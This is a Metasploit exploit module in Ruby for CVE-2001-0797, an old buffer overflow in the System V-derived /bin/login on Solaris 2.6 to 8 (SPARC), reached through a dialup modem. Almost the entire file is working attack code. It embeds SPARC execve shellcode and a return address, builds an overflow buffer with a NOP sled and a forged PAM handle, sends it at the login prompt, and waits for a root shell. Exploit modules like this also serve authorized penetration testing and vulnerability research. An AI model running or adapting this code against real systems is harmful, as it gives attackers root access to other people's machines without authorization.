##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Dialup

  def initialize(info = {})
    super(update_info(info,
      'Name'		=> 'System V Derived /bin/login Extraneous Arguments Buffer Overflow',
      'Description'	=> %q{
          This exploit connects to a system's modem over dialup and exploits
        a buffer overlflow vulnerability in it's System V derived /bin/login.
        The vulnerability is triggered by providing a large number of arguments.
      },
      'References'     =>
        [
          [ 'CVE', '2001-0797'],
          [ 'OSVDB', '690'],
          [ 'OSVDB', '691'],
          [ 'BID', '3681'],
          [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2002-10/0014.html'],
          [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-12/0404.html'],
        ],
      'Author'	=>
        [
          'I)ruid',
        ],
      'Arch'		=> ARCH_TTY,
      'Platform'	=> ['unix'],
      'License'	=> MSF_LICENSE,
      'Payload'        =>
        {
          'Space'       => 3000,
          'BadChars'    => '',
          'DisableNops' => true,
        },
      'Targets'        =>
        [
          [ 'Solaris 2.6 - 8 (SPARC)',
            {
              'Platform' => 'unix',
              'Ret'      => 0x00027184,
              # Solaris/SPARC special shellcode (courtesy of inode)
              # execve() + exit()
              'Shellcode' =>
                "\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc" +
                "\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4" +
                "\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14" +
                "\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08",
              'NOP' => "\x90\x1b\x80\x0e",
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Dec 12 2001'))

    register_options(
      [
#				OptString.new('USER', [true, 'User to log in as', 'bin']),
      ], self.class)
  end

  def buildbuf
    print_status("Targeting: #{self.target.name}")

    retaddr   = self.target.ret
    shellcode = self.target['Shellcode']
    nop       = self.target['NOP']

    user      = datastore['USER']
    command   = datastore['COMMAND'] + "\n"

    # prepare the evil buffer
    i = 0
    buf = ''

    # login name
    buf[i,4] = 'bin '
    i += 4

    # return address
    buf[i,4] = [retaddr].pack('N')
    i += 4
    buf[i,1] = ' '
    i += 1

    # trigger the overflow
    (0...60).each {|c|
      buf[i,2] = 'a '
      i += 2
    }

    # padding
    buf[i,4] = ' BBB'
    i += 4

    # nop sled and shellcode
    (0...398).each {|c|
      buf[i,nop.size] = nop
      i += nop.size
    }
    shellcode.each_byte {|b|
      c = b.chr
      case 'c'
      when "\\"
        buf[i,2] = "\\\\"
        i += 2
      when "\xff", "\n", " ", "\t"
        buf[i,1] = "\\"
        buf[i+1,1] = (((b & 0300) >> 6) + '0').chr
        buf[i+2,1] = (((b & 0070) >> 3) + '0').chr
        buf[i+3,1] = ( (b & 0007)       + '0').chr
        i += 4
      else
        buf[i,1] = c
        i += 1
      end
    }
    # TODO: need to overwrite/skip the last byte of shellcode?
    #i -= 1

    # padding
    buf[i,4] = 'BBB '
    i += 4

    # pam_handle_t: minimal header
    buf[i,16] = 'CCCCCCCCCCCCCCCC'
    i += 16
    buf[i,4] = [retaddr].pack('N')
    i += 4
    buf[i,4] = [0x01].pack('N')
    i += 4

    # pam_handle_t: NULL padding
    (0...52).each {|c|
      buf[i,4] = [0].pack('N')
      i += 4
    }

    # pam_handle_t: pameptr must be the 65th ptr
    buf[i,9] = "\x00\x00\x00 AAAA\n"
    i += 9

    return buf
  end

  def exploit
    buf = buildbuf

    print_status("Dialing Target")
    if not connect_dialup
      print_error("Exiting.")
      return
    end

    print_status("Waiting for login prompt")

    res = dialup_expect(/ogin:\s/i, 10)
    #puts Rex::Text.to_hex_dump(res[:buffer])
    if not res[:match]
      print_error("Login prompt not found... Exiting.")
      disconnect_dialup
      return
    end

    # send the evil buffer, 256 chars at a time
    print_status("Sending evil buffer...")
    #puts Rex::Text.to_hex_dump(buf)
    len = buf.length
    p = 0
    while(len > 0) do
      i = len > 0x100 ? 0x100 : len
      #puts Rex::Text.to_hex_dump(buf[p,i])
      dialup_puts(buf[p,i])
      len -= i
      p += i
#			if len > 0
#				puts Rex::Text.to_hex_dump("\x04")
#				dialup_puts("\x04") if len > 0
#			end
      select(nil,nil,nil,0.5)
    end

    # wait for password prompt
    print_status("Waiting for password prompt")
    res = dialup_expect(/assword:/i, 30)
    #puts Rex::Text.to_hex_dump(res[:buffer])
    if not res[:match]
      print_error("Target is likely not vulnerable... Exiting.")
      disconnect_dialup
      return
    end

    print_status("Password prompt received, waiting for shell")
    dialup_puts("pass\n")

    res = dialup_expect(/#\s/i, 20)
    #puts Rex::Text.to_hex_dump(res[:buffer])
    if not res[:match]
      print_error("Shell not found.")
      print_error("Target is likely not vulnerable... Exiting.")
      disconnect_dialup
      return
    end

    print_status("Success!!!")
    handler

    disconnect_dialup
  end

end
